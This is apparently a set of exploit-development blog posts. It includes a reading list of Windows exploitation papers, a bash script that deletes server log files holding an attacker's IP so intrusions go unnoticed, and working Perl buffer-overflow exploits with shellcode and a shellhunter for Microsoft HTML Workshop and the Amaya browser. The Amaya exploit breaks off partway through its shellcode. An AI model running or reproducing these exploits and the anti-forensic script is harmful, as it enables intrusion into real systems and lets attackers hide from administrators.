http://www.argeniss.com/research/TokenKidnapping.pdf

20- Defeating DEP Immunity Way by Pablo sole (2008)

http://www.immunityinc.com/downloads/DEPLIB.pdf

first automation of ROP . thats it ;)

21- Practical Windows XP2003 Heap Exploitation (bh 2009) by John McDonald and Chris Valasek.

http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf

if you want write a heap exploit for modern OS . you should read this one . most complete heap related article .

22- Bypassing SEHOP  by Stefan Le Berre Damien Cauquil (in 2009)

http://www.sysdream.com/articles/sehop_en.pdf

cool and good research ! but ALSR will make it not so useful because SEHOP = SEHOP + ASLR

23- Interpreter Exploitation  : Pointer Inference and JIT Spraying by Dionysus Blazakis (2010)

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf

Great ! exploitation is still alive . generic exploitation method for bypassing DEP and ASLR together . if you read and understand it you can write lots of exploits for windows 7 !

24- write-up of Pwn2Own 2010 by  Peter Vreugdenhil (2010)

http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf

a great and short article about how to own DEP+ASLR without any 3rd-party plugin

(used two vulnerability and toke around 4 minutes)

25- ruben santamarta all in one 0day presented in rootedCON (2010)

http://wintercore.com/downloads/rootedcon_0day_english.pdf

some great idea for bypassing IE XSS Filter and protected mod not exploitation specific but it’s great for being combined with other exploitation methods .

=========================================================

history of some not so typical windows exploits:

in this section i’m going to archive some of interesting exploits i saw you can learn lots of things from them !

1- one of first real-world HW-DEP bypass Exploit by devcode : here

2- bypassing DEP by returning into HeapCreate by toto : here

3- first public ASLR bypass exploit by using partial overwrite  by skape (matt miller) : here

4- heap spray and bypassing DEP by skylined : here

5- first public exploit that used ROP  for bypassing DEP in adobe lib TIFF vulnerability : here (is this case ASLR bypass is possible !)

6-  exploit codes of bypassing browsers memory protections : here

7-  Cesar Cerrudo PoC’s on Tokken TokenKidnapping .  PoC for  2k3: here , PoC 2k8: here

8- Tavis Ormandy KiTra0d an exploit works from win 3.1 to win 7 . PoC here (metasploit updated module works more interesting !)

9- old ms08-067 metasploit module multi-target and DEP bypass  PoC here

10- PHP 6.0 Dev str_transliterate() Buffer overflow – NX + ASLR Bypass (using ROP and Brute Forcing ASLR) PoC here

11- Stephen Fewer SMBv2 Exploit . PoC here

note 1  :there is lots of other interesting exploits in windows platform you can just find them in here and also here .

note 2: i saw lots of other great and advanced exploits in commercial packages . (they are commercial so forget them ;) )

===================================================

history of related windows exploitation books !

in this section i’m going to archive some books about windows exploitation.

1- Exploiting Software How to Break Code By (Greg Hoglund, Gary McGraw)

2- The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities (By Mark Dowd, John McDonald)

3- Buffer Overflow Attacks: Detect, Exploit, Prevent (by James C. Foster)

4- Windows Internals (by Mark Russinovich , David A. Solomon, Alex Ionescu)

5-  The Shellcoders Handbook Discovering and Exploiting Security

(by Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, and Riley Hassell)

6- Software Vulnerability Guide ( by HERBERT H. THOMPSON , SCOTT G. CHASE)

7- ADVANCED WINDOWS DEBUGGING (by Mario Heward , Daniel Pravat)

8- Reversing: Secrets of Reverse Engineering

9- great step by step exploit writing tutorials by my friend Peter Van Eeckhoutte :


  1. Exploit writting tutorial part 1:Stack Based Overflowshere
  2. Exploit writting tutorial part 2: Stack Based Overflows – jumping to shellcode – here
  3. Exploit writting tutorial part 3: SEH Based Exploits – here
  4. Exploit writting tutorial part 3b: SEH Based Exploits - just another example  - here
  5. Exploit writting tutorial part 4: From Exploit to Metasploit – here
  6. Exploit writting tutorial part 5:  speed up basic exploit development – here
  7. Exploit writting tutorial part 6: Bypassing GS, SafeSeh, SEHOP, HW DEP and ASLR – here
  8. Exploit writting tutorial part 7: Unicode – from 0×00410041 to calc – here
  9. Exploit writting tutorial part 8: Win32 Egg Hunting - here
  10. Exploit writting tutorial part 9: Introduction to Win32 shellcoding – here

also he wrote a cool immunity debugger PyCommand called PveFindAddr i think this python script is necessary for speed-up exploit development for newbie or expert exploit developers and i found it so useful , it have some cool features like finding instructions for code reuse and ROP also finding state of memory protections and finding best return address in your situation.

this is not complete lits of exploitation related book / articles list i just listed those had at least one windows specific chapter .

PART III : Future of exploitation

Starring : T.B.A

1- exploitation is not and will not die.

2- just will change and being more harder also won’t be ” just for fun” like before.

3- writing reliable exploits will take time and time == money and now exploit development is acceptable specific job in security area !

4- fame == money as well (also is lovely by itself) .  so you will see other great researches in various security fields ;)

5- if you read all of resources exist in post you can be a great exploit developer ; )

PS1 : during writing this post due to lots of links and peoples on it maybe i forgot some notable people / article you can alert me about them just by shahin [at] abysssec.com

PS2 : i wrote this post so fast (and took long time !) i will edit my Misspellings and grammatical in good time.

i need to go and take 0XCC00FFEE .

have fun .

Hidden Attack with clear log files in Unix , linux

Hey ! I’m back  some exams of university :D and ….

Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.

At first we find path of directory contain some wanted logs and then searching line by line for log paths,finally founding attacker Ip in log files and removing log file. Be happy !

TEsTed On Debian etch4.0 and FreeBSD 6*

This is Rc 1. [download] : Log_f

and here is source code in bash :

#!/usr/local/bin/bash
### coded by t4z3v4r3d
### recurse function : i m not sure who has write that .So thanks unknown man
### made for FreeBSD First ....
if [ "`id -u`" != "0" ];then
echo "$0 cant run as $USER Please Give me the root perms!!!!! "
exit 1
fi
patern=$2
fl=/tmp/f.txt
fd=/tmp/find.txt
length=/tmp/l-f.txt
log_f=/tmp/log_f.txt
log_final=/tmp/final_log.txt
null=/dev/null
log_path=/tmp/log_Found_.txt
tm="`date | cut -d ":" -f 1`"
os=$OSTYPE
# you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!
case $os in
Linux*) path=/etc/
;;
linux*) path=/etc/
;;
freebsd*) path=/usr/local/
;;
*) path=/
;;
esac
 
rm $fl
touch $fl
rm $fd
touch $fd
rm $log_f
touch $log_f
rm $log_final
touch $log_final
rm $log_path
touch $log_path
clear
 
echo "Enter attacker IP"
read -e ip
 
if [ "`find $path -name apache &gt;&gt; $fl`" ];then
	echo -e "\033[3;2f Main path Found ....\033[0;0m"
else
 
	if [ "`find $path -name apache2 &gt;&gt; $fl`" ];then
		echo "Founded Apache2 Config files"
	fi
fi 
 
recurse () {
for file in $(/bin/ls $1)
do fqfn=$1/$file
[[ -d $fqfn ]] &amp;&amp; recurse $fqfn
[[ ${#file} -gt $len ]] &amp;&amp; { len=${#file} name=$fqfn; }
[[ -f $fqfn ]] &amp;&amp; recurse $fqfn
[[ ${#file} -gt $len ]] &amp;&amp; { len=${#file} name=$fqfn; }
 
#########################################################
if [ -f $1 ];then
let "f=f+1"
	if [ "`ls $1 | grep -F .conf`" ];then
	let "t=t+1"
	cat $1 | grep -F .log | grep -v "#" | cut -d " " -f 2  &gt;&gt; $log_path
	nom[$t]="`cat $1 | grep -F .log | grep -v "#" | wc -l`"
	echo -e "reading $1\n `cat $1 | grep -F .log | grep -v "#"`" &gt;&gt; /tmp/r.txt
	let "nt=nt+${nom[$t]}"
	let "j=$nt+$t"
	fi
fi
################################################################################
### MOnitoring all acts
################################################################################
echo -e "\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m"
echo -e "\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m$f\033[1;39m\033[4;40f|\033[0;0m"
echo -e "\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m$l\033[1;39m\033[5;40f|\033[0;0m"
echo -e "\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m$t\033[1;39m\033[6;40f|\033[0;0m"
echo -e "\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m$j\033[1;39m\033[7;40f|\033[0;0m"
echo -e "\033[1;39m|\033[1;30m\033[8;2f Scanning `dirname ${1}`:::\033[1;39m\033[8;40f|\033[0;0m"
echo -e "\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m"
##############################################################################
done ; }
 
reader(){
cat $fl | while read line ;do
if [ "`ls $line | grep .conf`" != "" ];then
	recurse $line
fi
let "l=l+1"
done
}
 
reader
 
log_path_reader(){
cat $log_path | while read line ;do
if [ -f $line ];then
if [ "`cat $line | grep "$ip"`" != "" ];then
echo -en "\033[1;30mFounded[\033[1;31m"`cat $line | grep -c "$ip"`"	\033[1;30m] $ip in	"
echo -n "Removing $line"
rm $line
 
if [ ! -f $line ];then
echo -e "\033[1;39m	... Done !\033[0;0m"
else
echo -e "\033[1;31m	...Failed!\033[1;0m"
fi
 
fi
else
echo -e "\033[1;30mFile [\033[1;31m"$line    "\033[1;39mFile Dose not exist......\033[1;30m]"
fi
 
let "l2=l2+1"
done
}
echo -e "\033[8;3f\033[1;31mpath= $path OS= $os\033[0;0m"
echo -e "\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files\033[0;0m"
 
log_path_reader
 
echo -en "\033[1;30mRemoving 				   $0	"
 
rm $fl $log_path $0
 
 if [ ! -f  $0 ];then
 	echo -e "\033[1;39m	... Done !\033[0;0m"
 else
 	echo -e "\033[1;31m	...Failed!\033[1;0m"
 fi
echo -e "\033[1;37m Mail: [email protected]\033[0;0m"

—————————————————

daphne  :

Hi readers .

Thanks from mr.Amiri .

when we’re talking about the secret or hidden in server , Log files in unix , linux server , recorded everything . this script is usefull for [white hacker ] and manager to clear major log files .

Microsoft HTML Workshop

Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit -

Another step towards perfect exploitation

This is my next article explaining my second public exploit implementing my recent Shellhunting technique.

Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.

The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit?

Here is why:-

  1. To overflow the buffer, 280 bytes and above are needed, this isn’t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.
  2. To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.
  3. This address includes a “\x00″ byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.

Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.With the Shellhunter the shellcode may even include NULL bytes!

Lets recap what a shellhunter does:-

  1. Searches through memory for a certain “lookout” value that when located will revert program execution flow to the address at the “lookout”. Also the “lookout” values must be a set of friendly instructions that will not cause an unneeded “Access Violation”.
  2. In this case there is no need for it to be alphanumerical, also size does not matter.

The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape’s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).

Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the whole memory with the shellhunter.

Of course there are a few problems that come to mind with that:

  • Access Violations will occur when retrieving data from an invalid address.
  • We need to store the variable which is address currently searched.
  • The applications memory is a huge range from 0×00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.
  • Also, but I’ll discuss about this later, the stack layout has to be repaired by the shellhunter..

Wow, a load of problems.

Now I will write up how I solved them.

Access Violation problem when reading invalid memory

The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.

Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:

[ Pointer to the next SEH record]

[Pointer to exception handler code]

Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the “Pointer to exception handler code” point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.

If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the “lookout” value, if invalid, exception occurs and then again all over we set up SEH and check for “lookout”.

Save the current address variable somewhere in the heap

In this problem I used the address 0x7ffdfad0. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.

Speedy search through memory

At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used 32 bytes. But this also needed to increase the amount of “lookout” values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over 64*4 bytes of “lookout” value in the exploit!).

Repairing the Stack layout

This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.

That’s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don’t hesitate to contact me at skdrat<at>hotmail<.>com (MSN Messenger).

Read the exploit below, and enjoy it!

Milw0rm exploit URL: http://milw0rm.com/exploits/7727

Exploit:


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    #!/usr/bin/perl
    # Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit
    # -----------------------------------------------------------------
    # Discovered/Exploit by SkD                    ([email protected])
    # -----------------------------------------------------------------
    #
    # This is a continuation of my new method, shellhunting.
    # The exploit is far more advanced than the Amaya's as it runs on
    # every system, partly because the shellhunter itself is very much
    # reliable and universal.
    # The shellhunter does the following tasks to find and exec.
    # shellcode:-
    #
    # 1- Searches through the whole memory of the application.
    # 2- Installs a SEH handler so on access violations it won't
    #    stop hunting for the shellcode.
    # 3- Repairs stack so a stack overflow won't occur (that is what
    #    happens when the SEH is called up, many PUSH instructions
    #    are called from the relevant modules (ntdll, etc).
    # 4- Improved speed by searching through 32 bytes at a time.
    # 5- Uses a certain address in memory to store a variable for the
    #    search.
    #
    # It is very stable and will allow any shellcode (bind/reverse shell,
    # dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).
    #
    # Yeah, I guess that's about it. Took me a few hours to figure out the
    # whole thing but nothing is impossible ;).
    #
    # Oh, I think some schools use this software :) (it's Microsoft's, right?).
    #
    # You can download the app. from Microsoft's official page:
    # ->  http://msdn.microsoft.com/en-us/library/ms669985.aspx
    #
    # If you are interested in my method and want to learn something new or
    # improve your exploitation skills then visit my team's blog at:
    # ->  http://abysssec.com
    #
    # Peace out,
    # SkD.
 
    my $hhp_data1 = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53".
    "\x5D\x0D\x0A\x43\x6F\x6E\x74\x65".
    "\x6E\x74\x73\x20\x66\x69\x6C\x65".
    "\x3D\x41\x0D\x0A\x49\x6E\x64\x65".
    "\x78\x20\x66\x69\x6C\x65\x3D";
    my $hhp_data2 = "\x5B\x46\x49\x4C\x45\x53\x5D\x0D".
    "\x0A\x61\x2E\x68\x74\x6D";
    my $crlf      = "\x0d\x0a";
 
    # win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
    my $shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
    "\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x51\x5a\x6a\x46".
    "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x56\x42\x32\x42\x41\x41\x32".
    "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x58\x69\x69\x6c\x4b".
    "\x58\x62\x64\x65\x50\x67\x70\x47\x70\x6c\x4b\x42\x65\x45\x6c\x6e".
    "\x6b\x73\x4c\x53\x35\x73\x48\x45\x51\x4a\x4f\x6c\x4b\x70\x4f\x52".
    "\x38\x4c\x4b\x33\x6f\x55\x70\x57\x71\x6a\x4b\x61\x59\x4c\x4b\x36".
    "\x54\x6e\x6b\x53\x31\x48\x6e\x55\x61\x39\x50\x4d\x49\x4c\x6c\x4d".
    "\x54\x6b\x70\x74\x34\x66\x67\x4b\x71\x78\x4a\x56\x6d\x67\x71\x39".
    "\x52\x48\x6b\x4c\x34\x35\x6b\x62\x74\x56\x44\x57\x74\x54\x35\x6b".
    "\x55\x4e\x6b\x31\x4f\x65\x74\x67\x71\x5a\x4b\x50\x66\x6c\x4b\x56".
    "\x6c\x42\x6b\x6e\x6b\x53\x6f\x47\x6c\x67\x71\x7a\x4b\x6c\x4b\x45".
    "\x4c\x6c\x4b\x47\x71\x48\x6b\x4f\x79\x33\x6c\x44\x64\x73\x34\x49".
    "\x53\x70\x31\x6b\x70\x71\x74\x4e\x6b\x73\x70\x56\x50\x4b\x35\x49".
    "\x50\x62\x58\x66\x6c\x4c\x4b\x43\x70\x56\x6c\x4c\x4b\x50\x70\x45".
    "\x4c\x4c\x6d\x6c\x4b\x35\x38\x77\x78\x78\x6b\x67\x79\x4e\x6b\x6b".
    "\x30\x6c\x70\x57\x70\x63\x30\x33\x30\x4c\x4b\x32\x48\x67\x4c\x73".
    "\x6f\x35\x61\x48\x76\x71\x70\x56\x36\x6c\x49\x4a\x58\x6e\x63\x69".
    "\x50\x41\x6b\x56\x30\x65\x38\x6c\x30\x6f\x7a\x75\x54\x73\x6f\x31".
    "\x78\x4e\x78\x79\x6e\x6f\x7a\x36\x6e\x66\x37\x6b\x4f\x5a\x47\x52".
    "\x43\x65\x31\x30\x6c\x70\x63\x45\x50\x46";
 
    #/----------------Advanced Shellhunter Code----------------\
    #01D717DD   EB 1E            JMP SHORT 01D717FD            |
    #01D717DF   83C4 64          ADD ESP,64                    |
    #01D717E2   83C4 64          ADD ESP,64                    |
    #01D717E5   83C4 64          ADD ESP,64                    |
    #01D717E8   83C4 64          ADD ESP,64                    |
    #01D717EB   83C4 64          ADD ESP,64                    |
    #01D717EE   83C4 64          ADD ESP,64                    |
    #01D717F1   83C4 64          ADD ESP,64                    |
    #01D717F4   83C4 64          ADD ESP,64                    |
    #01D717F7   83C4 64          ADD ESP,64                    |
    #01D717FA   83C4 54          ADD ESP,54                    |
    #01D717FD   33FF             XOR EDI,EDI                   |
    #01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |
    #01D71806   EB 0E            JMP SHORT 01D71816            |
    #01D71808   58               POP EAX                       |
    #01D71809   83E8 3C          SUB EAX,3C                    |
    #01D7180C   50               PUSH EAX                      |
    #01D7180D   6A FF            PUSH -1                       |
    #01D7180F   33DB             XOR EBX,EBX                   |
    #01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |
    #01D71814   EB 05            JMP SHORT 01D7181B            |
    #01D71816   E8 EDFFFFFF      CALL 01D71808                 |
    #01D7181B   B8 12121212      MOV EAX,12121212              |
    #01D71820   6BC0 02          IMUL EAX,EAX,2                |
    #01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71828   83C7 20          ADD EDI,20                    |
    #01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |
    #01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D7182F  ^75 F7            JNZ SHORT 01D71828            |
    #01D71831   83C7 04          ADD EDI,4                     |
    #01D71834   6BC0 02          IMUL EAX,EAX,2                |
    #01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71839  ^75 E0            JNZ SHORT 01D7181B            |
    #01D7183B   83C7 04          ADD EDI,4                     |
    #01D7183E   B8 42424242      MOV EAX,42424242              |
    #01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71845  ^75 D4            JNZ SHORT 01D7181B            |
    #01D71847   83C7 04          ADD EDI,4                     |
    #01D7184A   FFE7             JMP EDI                       |
    #\-----------------------End of Code----------------------/
 
    my $shellhunter = "\xeb\x1e".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x54".
    "\x33\xff".
    "\xba\xd0\xfa\xfd\x7f".
    "\x8b\x3a".
    "\xeb\x0e".
    "\x58".
    "\x83\xe8\x3c".
    "\x50".
    "\x6a\xff".
    "\x33\xdb".
    "\x64\x89\x23".
    "\xeb\x05".
    "\xe8\xed\xff\xff\xff".
    "\xb8\x12\x12\x12\x12".
    "\x6b\xc0\x02".
    "\xba\xd0\xfa\xfd\x7f".
    "\x83\xc7\x20".
    "\x89\x3a".
    "\x39\x07".
    "\x75\xf7".
    "\x83\xc7\x04".
    "\x6b\xc0\x02".
    "\x39\x07".
    "\x75\xe0".
    "\x83\xc7\x04".
    "\xb8\x42\x42\x42\x42".
    "\x39\x07".
    "\x75\xd4".
    "\x83\xc7\x04".
    "\xff\xe7";
    my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64;
    my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64;
    my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64;
    my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64;
    my $len = 280 - (length($shellhunter) + 55);
    my $overflow1 = "\x41" x $len;
    my $overflow2 = "\x41" x 55;
    my $overflow3 = "\x42" x 256;
    my $ret = "\x93\x1f\x40\x00"; #0x00401f93   CALL EDI [hhw.exe]
 
    open(my $hhpprj_file, "> s.hhp");
    print $hhpprj_file $hhp_data1.
    $overflow1.$shellhunter.$overflow2.$ret.
    $crlf.$crlf.
    $hhp_data2.
    $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3.
    $crlf;
    close $hhpprj_file;

Amaya Web Browser

Amaya Web Browser <= 11.0.1 Remote Buffer Overflow Exploit

Vulnerability discovery & Exploit by SkD

We will start with a description of the affected software:

Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features in a uniform environment. This follows the original vision of the Web as a space for collaboration and not just a one-way publishing medium.

The vulnerability lies in the way Amaya (version 11.0.1 and below) parses HTML tags. Certain tags trigger different vulnerabilites, mostly overflows but each has a different environment for exploitation.

I selected that the “<td nowrap>” and the “<title(overflow)>” tags were the most convenient to use for the exploit.

Here is a picture of the debugger’s state when the buffer overflow occurs with the “<td nowrap>” tag:

Debugger state after overflow (Amaya)

As we can see the EIP is fully controllable but to exploit the issue there are quite a few problems:

  • The buffer can only have characters from (hex) 0×00 to 0x7f, 0×80 => and above will corrupt the buffer with uneeded characters so the putting the shellcode and finding return addresses will be a problem.
  • Registers point at random places except for ESI which can be controlled to point to a specified location with a correct calculation.
  • Finding a JMP ESP/CALL ESP in one of the Amaya’s native modules will be hard because none of them include the allowed characters (we want to make it universal).
  • Heap layout is randomized.

Please note that I was working on this on Windows Vista SP1 so it may differ with XP, 2003, etc.

Okay, so what can we do? This won’t be exploited the normal way with the classic jmp esp or there isn’t any SEH handlers to exploit so what is there to do? Like I mentioned in the previous list, ESI points to a controllable region in the stack. This region will vary if a calculation for the junk characters is not correct (you will see what I am talking about in the exploit code).  So to combat this problem we must look to the heap for the clean buffer before transformation. Guess what? EDI points close to this but it is random so I cannot just decrease EDI by a static number!  What I did was a similar method to egghunting as in heap overflows but my new method is called, shellhunting. The conclusion is that the shellhunter must be alphanumerical (well, mostly) and it must look for the shellcode in the heap pointed by EDI.

This is a advanced stack overflow exploit which also involves the heap! Please remember that this will only work on Vista SP 1 ( I tested it on XP but different heap layouts again made it a hassle for me to change :) ).

This is the stack and memory when the buffer involves characters over 0×80 (this is the shellcode):

Stack state

And here is the shellcode so you can compare!

my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";

Very corrupted data, like that we cannot execute anything because of malformed instructions (the decoder for the alphanumerical shellcode will have also no chance to work).  It is clear that the only way will be to look at the heap.

Now I will describe how my shellhunter works!

  1. The shellhunter will start as being 98% alphanumerical so it can be successfully executed.
  2. The “lookout” values must not cause an exception because we will redirect the execution flow to those values!
  3. It will loop and search the heap for the “lookout” values INFRONT of the shellcode.
  4. Once the “lookout” values are located, PUSH EDI and then RETN to that address.

This is efficient and it will work one-hundred percent on every try the browser parses the HTML page.

You can also see that I am using an addition with the $additionaddr variable, this is because the variable cannot be on the heap next to the corrupted data! So we basicially add a few bytes to the variable in the register EAX that holds the $additionaddr that will turn into the “lookout” value so the shellhunter can easily compare data in the heap!

I hope you learned something today ladies and gents! The exploit is included below!

#!/usr/bin/perl
#
# Amaya Web Browser &lt;= 11.0.1 Remote Buffer Overflow Exploit
# Found/Exploit by SkD ([email protected])
#                ([email protected]  )
# -----------------------------------------------
# This is advanced buffer overflow exploitation using
# my new method called shellhunting :)
#
# Get more information about this at http://abysssec.com
#
# Exploit works only on a fully patched Vista SP1, but you
# may need to click 'Refresh' to make the shellcode exec
# sometimes.
#
# Note: Author has no responsibility over the damage you do with this!
 
use strict;
use warnings;
use IO::Socket;
 
my $html;
my $port_listen = 80; # change this to your desired port!
my $listenip = "127.0.0.1"; # change this to your desired IP!
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
